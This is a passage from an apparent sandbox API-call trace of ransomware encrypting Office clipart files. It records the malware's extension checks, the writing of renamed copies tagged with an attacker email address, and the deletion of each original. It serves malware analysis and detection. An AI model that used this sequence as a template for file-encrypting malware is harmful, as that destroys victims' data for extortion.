[0136.821] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.821] SetEndOfFile (hFile=0x548) returned 1 [0136.823] CloseHandle (hObject=0x548) returned 1 [0136.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.826] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.827] lstrlenW (lpString=".doc") returned 4 [0136.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".docx") returned 5 [0136.827] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.827] lstrlenW (lpString=".pdf") returned 4 [0136.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString=".xls") returned 4 [0136.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.827] lstrlenW (lpString=".xlsx") returned 5 [0136.827] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.827] lstrlenW (lpString=".ppt") returned 4 [0136.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.827] lstrlenW (lpString=".zip") returned 4 [0136.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.827] lstrlenW (lpString=".rar") returned 4 [0136.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".bz2") returned 4 [0136.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".7z") returned 3 [0136.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString=".dbf") returned 4 [0136.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString=".1cd") returned 4 [0136.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString=".jpg") returned 4 [0136.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString=".doc") returned 4 [0136.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".docx") returned 5 [0136.828] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0136.828] lstrlenW (lpString=".pdf") returned 4 [0136.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".xls") returned 4 [0136.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.828] lstrlenW (lpString=".xlsx") returned 5 [0136.828] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0136.828] lstrlenW (lpString=".ppt") returned 4 [0136.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.828] lstrlenW (lpString=".zip") returned 4 [0136.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.828] lstrlenW (lpString=".rar") returned 4 [0136.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".bz2") returned 4 [0136.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.828] lstrlenW (lpString=".7z") returned 3 [0136.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.829] lstrlenW (lpString=".dbf") returned 4 [0136.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.829] lstrlenW (lpString=".1cd") returned 4 [0136.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099153.WMF") returned 68 [0136.829] lstrlenW (lpString=".jpg") returned 4 [0136.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.829] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.829] lstrlenW (lpString="J0099160.JPG") returned 12 [0136.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.830] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15145) returned 1 [0136.830] CloseHandle (hObject=0x4c0) returned 1 [0136.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 0x220 [0136.830] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.830] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.830] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.831] GetLastError () returned 0x0 [0136.831] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x3b29, lpOverlapped=0x0) returned 1 [0136.833] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x3b30, lpOverlapped=0x0) returned 1 [0136.834] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.834] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.834] SetEndOfFile (hFile=0x548) returned 1 [0136.834] CloseHandle (hObject=0x548) returned 1 [0136.834] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.834] SetEndOfFile (hFile=0x4c0) returned 1 [0136.838] CloseHandle (hObject=0x4c0) returned 1 [0136.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099160.jpg")) returned 1 [0136.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.839] lstrlenW (lpString=".doc") returned 4 [0136.839] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.839] lstrlenW (lpString=".docx") returned 5 [0136.839] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0136.839] lstrlenW (lpString=".pdf") returned 4 [0136.839] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.839] lstrlenW (lpString=".xls") returned 4 [0136.839] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.839] lstrlenW (lpString=".xlsx") returned 5 [0136.839] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0136.839] lstrlenW (lpString=".ppt") returned 4 [0136.839] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.839] lstrlenW (lpString=".zip") returned 4 [0136.839] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.839] lstrlenW (lpString=".rar") returned 4 [0136.840] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString=".bz2") returned 4 [0136.840] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.840] lstrlenW (lpString=".7z") returned 3 [0136.840] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString=".dbf") returned 4 [0136.840] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString=".1cd") returned 4 [0136.840] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString=".jpg") returned 4 [0136.840] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString=".doc") returned 4 [0136.840] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.840] lstrlenW (lpString=".docx") returned 5 [0136.840] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0136.840] lstrlenW (lpString=".pdf") returned 4 [0136.840] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString=".xls") returned 4 [0136.840] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString=".xlsx") returned 5 [0136.840] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0136.840] lstrlenW (lpString=".ppt") returned 4 [0136.840] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.840] lstrlenW (lpString=".zip") returned 4 [0136.840] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString=".rar") returned 4 [0136.840] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.840] lstrlenW (lpString=".bz2") returned 4 [0136.840] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.840] lstrlenW (lpString=".7z") returned 3 [0136.841] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.841] lstrlenW (lpString=".dbf") returned 4 [0136.841] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.841] lstrlenW (lpString=".1cd") returned 4 [0136.841] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099160.JPG") returned 68 [0136.841] lstrlenW (lpString=".jpg") returned 4 [0136.841] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.841] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.841] lstrlenW (lpString="J0099161.JPG") returned 12 [0136.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.842] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=7154) returned 1 [0136.842] CloseHandle (hObject=0x4c0) returned 1 [0136.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0136.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.842] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.842] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.843] GetLastError () returned 0x0 [0136.843] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0136.849] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0136.849] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.849] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.849] SetEndOfFile (hFile=0x548) returned 1 [0136.850] CloseHandle (hObject=0x548) returned 1 [0136.850] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.850] SetEndOfFile (hFile=0x4c0) returned 1 [0136.852] CloseHandle (hObject=0x4c0) returned 1 [0136.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.852] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0136.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.852] lstrlenW (lpString=".doc") returned 4 [0136.852] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.852] lstrlenW (lpString=".docx") returned 5 [0136.852] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0136.852] lstrlenW (lpString=".pdf") returned 4 [0136.853] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".xls") returned 4 [0136.853] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".xlsx") returned 5 [0136.853] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0136.853] lstrlenW (lpString=".ppt") returned 4 [0136.853] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString=".zip") returned 4 [0136.853] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".rar") returned 4 [0136.853] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".bz2") returned 4 [0136.853] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.853] lstrlenW (lpString=".7z") returned 3 [0136.853] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString=".dbf") returned 4 [0136.853] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString=".1cd") returned 4 [0136.853] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString=".jpg") returned 4 [0136.853] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.853] lstrlenW (lpString=".doc") returned 4 [0136.853] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.853] lstrlenW (lpString=".docx") returned 5 [0136.853] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0136.853] lstrlenW (lpString=".pdf") returned 4 [0136.853] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".xls") returned 4 [0136.853] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.853] lstrlenW (lpString=".xlsx") returned 5 [0136.854] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0136.854] lstrlenW (lpString=".ppt") returned 4 [0136.854] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.854] lstrlenW (lpString=".zip") returned 4 [0136.854] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.854] lstrlenW (lpString=".rar") returned 4 [0136.854] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.854] lstrlenW (lpString=".bz2") returned 4 [0136.854] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.854] lstrlenW (lpString=".7z") returned 3 [0136.854] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.854] lstrlenW (lpString=".dbf") returned 4 [0136.854] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.854] lstrlenW (lpString=".1cd") returned 4 [0136.854] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0136.854] lstrlenW (lpString=".jpg") returned 4 [0136.854] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.854] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.854] lstrlenW (lpString="J0099162.JPG") returned 12 [0136.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.855] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=19656) returned 1 [0136.855] CloseHandle (hObject=0x4c0) returned 1 [0136.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0136.855] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0136.855] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.855] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0136.856] GetLastError () returned 0x0 [0136.856] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0136.865] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0136.866] ReadFile (in: hFile=0x4c0, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0136.866] WriteFile (in: hFile=0x548, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0136.866] SetEndOfFile (hFile=0x548) returned 1 [0136.866] CloseHandle (hObject=0x548) returned 1 [0136.866] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0136.867] SetEndOfFile (hFile=0x4c0) returned 1 [0136.970] CloseHandle (hObject=0x4c0) returned 1 [0136.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 